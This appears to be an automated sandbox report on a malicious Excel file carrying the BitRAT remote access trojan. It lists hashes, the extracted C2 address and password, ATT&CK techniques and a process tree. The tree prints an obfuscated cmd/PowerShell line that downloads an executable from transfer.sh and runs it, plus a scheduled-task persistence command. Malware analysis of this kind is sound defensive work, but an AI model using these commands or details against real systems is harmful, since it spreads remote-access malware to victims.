bitrat | d77795d4563d03c0ec79533ac468580fa94ae26a54b5e14e34c3d6bdf9ae51b0

General

Target

Documento_Orslgroup_S.R.L_09_2023.xls
Size

100KB
MD5

c678822324d3db11afb66ad4dc9a5bb8
SHA1

db82a3d3de0b0d90cc302e903e18dd9d2fb684c4
SHA256

d77795d4563d03c0ec79533ac468580fa94ae26a54b5e14e34c3d6bdf9ae51b0
SHA512

7a753d605ee1e5e14d3dbf0a67feb80c8fee21c0bdc7cba36298eead743b541e65d5d4d3f25124ec8d4ad54c38744f244bb721f7c0edb76d1a3441c0d291d03e
SSDEEP

3072:BrxEtjPOtioVjDGUU1qfDlaGGx+cL2QnA9tJE2zuxq+fr9wBLa71ba2ryLTHeYD:pxEtjPOtioVjDGUU1qfDlavx+W2QnAnF

Score

10^/10

bitrat trojan

Malware Config

Extracted

Family

bitrat

Version

1.38

C2

185.225.75.68:3569

Attributes

communication_password
0edcbe7d888380c49e7d1dcf67b6ea6e
tor_process
tor

Signatures

BitRAT
BitRAT is a remote access tool written in C++ and uses leaked source code from other families.
trojan bitrat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	5100	2192	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

31 1388 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

pxpr0.exepxpr0.exehope.exe

pid process

736 pxpr0.exe
4816 pxpr0.exe
1648 hope.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

Processes:

pxpr0.exe

pid process

4816 pxpr0.exe
4816 pxpr0.exe
4816 pxpr0.exe
4816 pxpr0.exe
4816 pxpr0.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

pxpr0.exe

description pid process target process

PID 736 set thread context of 4816 736 pxpr0.exe pxpr0.exe

flow	pid	process
31	1388	powershell.exe

pid	process
736	pxpr0.exe
4816	pxpr0.exe
1648	hope.exe

pid	process
4816	pxpr0.exe
4816	pxpr0.exe
4816	pxpr0.exe
4816	pxpr0.exe
4816	pxpr0.exe

description	pid	process	target process
PID 736 set thread context of 4816	736	pxpr0.exe	pxpr0.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

4692 schtasks.exe

pid	process
4692	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2192 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1388 powershell.exe
1388 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepxpr0.exe

description pid process

Token: SeDebugPrivilege 1388 powershell.exe
Token: SeShutdownPrivilege 4816 pxpr0.exe

pid	process
1388	powershell.exe
1388	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1388	powershell.exe
Token: SeShutdownPrivilege	4816	pxpr0.exe

Suspicious use of SetWindowsHookEx 16 IoCs

Processes:

EXCEL.EXEpxpr0.exe

pid	process
2192	EXCEL.EXE
2192	EXCEL.EXE
2192	EXCEL.EXE
2192	EXCEL.EXE
2192	EXCEL.EXE
2192	EXCEL.EXE
2192	EXCEL.EXE
2192	EXCEL.EXE
2192	EXCEL.EXE
2192	EXCEL.EXE
2192	EXCEL.EXE
2192	EXCEL.EXE
2192	EXCEL.EXE
2192	EXCEL.EXE
4816	pxpr0.exe
4816	pxpr0.exe

Suspicious use of WriteProcessMemory 30 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exepxpr0.execmd.exe

description	pid	process	target process
PID 2192 wrote to memory of 5100	2192	EXCEL.EXE	cmd.exe
PID 2192 wrote to memory of 5100	2192	EXCEL.EXE	cmd.exe
PID 5100 wrote to memory of 1388	5100	cmd.exe	powershell.exe
PID 5100 wrote to memory of 1388	5100	cmd.exe	powershell.exe
PID 1388 wrote to memory of 736	1388	powershell.exe	pxpr0.exe
PID 1388 wrote to memory of 736	1388	powershell.exe	pxpr0.exe
PID 1388 wrote to memory of 736	1388	powershell.exe	pxpr0.exe
PID 736 wrote to memory of 4816	736	pxpr0.exe	pxpr0.exe
PID 736 wrote to memory of 4816	736	pxpr0.exe	pxpr0.exe
PID 736 wrote to memory of 4816	736	pxpr0.exe	pxpr0.exe
PID 736 wrote to memory of 4816	736	pxpr0.exe	pxpr0.exe
PID 736 wrote to memory of 4816	736	pxpr0.exe	pxpr0.exe
PID 736 wrote to memory of 4816	736	pxpr0.exe	pxpr0.exe
PID 736 wrote to memory of 4816	736	pxpr0.exe	pxpr0.exe
PID 736 wrote to memory of 4816	736	pxpr0.exe	pxpr0.exe
PID 736 wrote to memory of 4816	736	pxpr0.exe	pxpr0.exe
PID 736 wrote to memory of 4816	736	pxpr0.exe	pxpr0.exe
PID 736 wrote to memory of 4816	736	pxpr0.exe	pxpr0.exe
PID 736 wrote to memory of 5052	736	pxpr0.exe	cmd.exe
PID 736 wrote to memory of 5052	736	pxpr0.exe	cmd.exe
PID 736 wrote to memory of 5052	736	pxpr0.exe	cmd.exe
PID 736 wrote to memory of 1776	736	pxpr0.exe	cmd.exe
PID 736 wrote to memory of 1776	736	pxpr0.exe	cmd.exe
PID 736 wrote to memory of 1776	736	pxpr0.exe	cmd.exe
PID 736 wrote to memory of 756	736	pxpr0.exe	cmd.exe
PID 736 wrote to memory of 756	736	pxpr0.exe	cmd.exe
PID 736 wrote to memory of 756	736	pxpr0.exe	cmd.exe
PID 1776 wrote to memory of 4692	1776	cmd.exe	schtasks.exe
PID 1776 wrote to memory of 4692	1776	cmd.exe	schtasks.exe
PID 1776 wrote to memory of 4692	1776	cmd.exe	schtasks.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Documento_Orslgroup_S.R.L_09_2023.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2192

C:\Windows\SYSTEM32\cmd.exe
cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://transfer.sh/get/SkazYLa2BT/happy.e^xe -o C:\Users\Public\pxpr0.exe;C:\Users\Public\pxpr0.exe
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:5100

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell /W 01 curl https://transfer.sh/get/SkazYLa2BT/happy.exe -o C:\Users\Public\pxpr0.exe;C:\Users\Public\pxpr0.exe
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1388

C:\Users\Public\pxpr0.exe
"C:\Users\Public\pxpr0.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:736

C:\Users\Public\pxpr0.exe
"C:\Users\Public\pxpr0.exe"
5⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4816

C:\Windows\SysWOW64\cmd.exe
"cmd" /c copy "C:\Users\Public\pxpr0.exe" "C:\Users\Admin\AppData\Roaming\hope\hope.exe"
5⤵
PID:756

C:\Windows\SysWOW64\cmd.exe
"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\hope\hope.exe'" /f
5⤵
- Suspicious use of WriteProcessMemory
PID:1776

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\hope\hope.exe'" /f
6⤵
- Creates scheduled task(s)
PID:4692

C:\Windows\SysWOW64\cmd.exe
"cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\hope"
5⤵
PID:5052

C:\Users\Admin\AppData\Roaming\hope\hope.exe
C:\Users\Admin\AppData\Roaming\hope\hope.exe
1⤵
- Executes dropped EXE
PID:1648

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o0s3oy53.4nr.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\hope\hope.exe
Filesize
7.6MB

MD5
9f42c993b0f9560fce2ac89d5b823b3b

SHA1
7c3ae9d0a92335ec5076490af4544a071d69c6d4

SHA256
3e6692760e61b3e71675a24f7b5b50cde09cabf750ede2a9a365c8e482c61943

SHA512
867eaa8455f4314e355241374b0eb80bcc7d6f932330e82c0a18a8e79caba014f35621c2bc0e345d294eb95bcecfcfed7652b058c88ae52ebfa82436cc59d379

Download Submit
C:\Users\Admin\AppData\Roaming\hope\hope.exe
Filesize
512KB

MD5
eed90cac333ae28068ee87e8fed42902

SHA1
5941bb1faad20e6a5b9104f372a0f4653d57134a

SHA256
bfac1bee3f740ffd77fb3cf5047ede1b5bb82d2c0495721810dbcd420c6c6fa3

SHA512
9b534657fa3649899c4e7de9e5357b9de4d4d2304b54793918a7b2cafcae3595f936273f22d63daf41fcd906a3aede4e71757d2b9f62273647fc5ddbc4ad6540

Download Submit
C:\Users\Public\pxpr0.exe
Filesize
7.6MB

MD5
9f42c993b0f9560fce2ac89d5b823b3b

SHA1
7c3ae9d0a92335ec5076490af4544a071d69c6d4

SHA256
3e6692760e61b3e71675a24f7b5b50cde09cabf750ede2a9a365c8e482c61943

SHA512
867eaa8455f4314e355241374b0eb80bcc7d6f932330e82c0a18a8e79caba014f35621c2bc0e345d294eb95bcecfcfed7652b058c88ae52ebfa82436cc59d379

Download Submit
C:\Users\Public\pxpr0.exe
Filesize
7.6MB

MD5
9f42c993b0f9560fce2ac89d5b823b3b

SHA1
7c3ae9d0a92335ec5076490af4544a071d69c6d4

SHA256
3e6692760e61b3e71675a24f7b5b50cde09cabf750ede2a9a365c8e482c61943

SHA512
867eaa8455f4314e355241374b0eb80bcc7d6f932330e82c0a18a8e79caba014f35621c2bc0e345d294eb95bcecfcfed7652b058c88ae52ebfa82436cc59d379

Download Submit
C:\Users\Public\pxpr0.exe
Filesize
7.6MB

MD5
9f42c993b0f9560fce2ac89d5b823b3b

SHA1
7c3ae9d0a92335ec5076490af4544a071d69c6d4

SHA256
3e6692760e61b3e71675a24f7b5b50cde09cabf750ede2a9a365c8e482c61943

SHA512
867eaa8455f4314e355241374b0eb80bcc7d6f932330e82c0a18a8e79caba014f35621c2bc0e345d294eb95bcecfcfed7652b058c88ae52ebfa82436cc59d379

Download Submit
memory/736-69-0x0000000074840000-0x0000000074FF0000-memory.dmp

Filesize
7.7MB

Download
memory/736-62-0x00000000071C0000-0x000000000794A000-memory.dmp

Filesize
7.5MB

Download
memory/736-61-0x0000000005650000-0x0000000005660000-memory.dmp

Filesize
64KB

Download
memory/736-60-0x0000000005C10000-0x00000000061B4000-memory.dmp

Filesize
5.6MB

Download
memory/736-59-0x00000000004D0000-0x0000000000C64000-memory.dmp

Filesize
7.6MB

Download
memory/736-58-0x0000000074840000-0x0000000074FF0000-memory.dmp

Filesize
7.7MB

Download
memory/1388-47-0x0000022CC0840000-0x0000022CC0850000-memory.dmp

Filesize
64KB

Download
memory/1388-36-0x00007FFBD7B20000-0x00007FFBD85E1000-memory.dmp

Filesize
10.8MB

Download
memory/1388-57-0x00007FFBD7B20000-0x00007FFBD85E1000-memory.dmp

Filesize
10.8MB

Download
memory/1388-48-0x0000022CC0840000-0x0000022CC0850000-memory.dmp

Filesize
64KB

Download
memory/1388-44-0x00007FFBD7B20000-0x00007FFBD85E1000-memory.dmp

Filesize
10.8MB

Download
memory/1388-39-0x0000022CC0840000-0x0000022CC0850000-memory.dmp

Filesize
64KB

Download
memory/1388-28-0x0000022CD8DB0000-0x0000022CD8DD2000-memory.dmp

Filesize
136KB

Download
memory/1388-37-0x0000022CC0840000-0x0000022CC0850000-memory.dmp

Filesize
64KB

Download
memory/2192-8-0x00007FFBC2FF0000-0x00007FFBC3000000-memory.dmp

Filesize
64KB

Download
memory/2192-11-0x00007FFC02F70000-0x00007FFC03165000-memory.dmp

Filesize
2.0MB

Download
memory/2192-24-0x000002B230080000-0x000002B230880000-memory.dmp

Filesize
8.0MB

Download
memory/2192-38-0x00007FFC02F70000-0x00007FFC03165000-memory.dmp

Filesize
2.0MB

Download
memory/2192-40-0x00007FFC02F70000-0x00007FFC03165000-memory.dmp

Filesize
2.0MB

Download
memory/2192-41-0x000002B230080000-0x000002B230880000-memory.dmp

Filesize
8.0MB

Download
memory/2192-42-0x000002B230080000-0x000002B230880000-memory.dmp

Filesize
8.0MB

Download
memory/2192-43-0x000002B230080000-0x000002B230880000-memory.dmp

Filesize
8.0MB

Download
memory/2192-23-0x000002B230080000-0x000002B230880000-memory.dmp

Filesize
8.0MB

Download
memory/2192-0-0x00007FFBC2FF0000-0x00007FFBC3000000-memory.dmp

Filesize
64KB

Download
memory/2192-20-0x000002B230080000-0x000002B230880000-memory.dmp

Filesize
8.0MB

Download
memory/2192-5-0x00007FFBC2FF0000-0x00007FFBC3000000-memory.dmp

Filesize
64KB

Download
memory/2192-10-0x00007FFC02F70000-0x00007FFC03165000-memory.dmp

Filesize
2.0MB

Download
memory/2192-14-0x00007FFBC08E0000-0x00007FFBC08F0000-memory.dmp

Filesize
64KB

Download
memory/2192-2-0x00007FFC02F70000-0x00007FFC03165000-memory.dmp

Filesize
2.0MB

Download
memory/2192-9-0x00007FFC02F70000-0x00007FFC03165000-memory.dmp

Filesize
2.0MB

Download
memory/2192-3-0x00007FFBC2FF0000-0x00007FFBC3000000-memory.dmp

Filesize
64KB

Download
memory/2192-13-0x00007FFBC08E0000-0x00007FFBC08F0000-memory.dmp

Filesize
64KB

Download
memory/2192-7-0x00007FFBC2FF0000-0x00007FFBC3000000-memory.dmp

Filesize
64KB

Download
memory/2192-1-0x00007FFC02F70000-0x00007FFC03165000-memory.dmp

Filesize
2.0MB

Download
memory/2192-6-0x00007FFC02F70000-0x00007FFC03165000-memory.dmp

Filesize
2.0MB

Download
memory/2192-12-0x00007FFC02F70000-0x00007FFC03165000-memory.dmp

Filesize
2.0MB

Download
memory/2192-4-0x00007FFC02F70000-0x00007FFC03165000-memory.dmp

Filesize
2.0MB

Download
memory/4816-65-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4816-68-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4816-66-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4816-72-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4816-73-0x0000000074750000-0x0000000074789000-memory.dmp

Filesize
228KB

Download
memory/4816-74-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4816-75-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4816-76-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4816-77-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4816-78-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4816-79-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4816-80-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4816-81-0x0000000074AD0000-0x0000000074B09000-memory.dmp

Filesize
228KB

Download
memory/4816-82-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4816-83-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4816-84-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4816-85-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4816-63-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads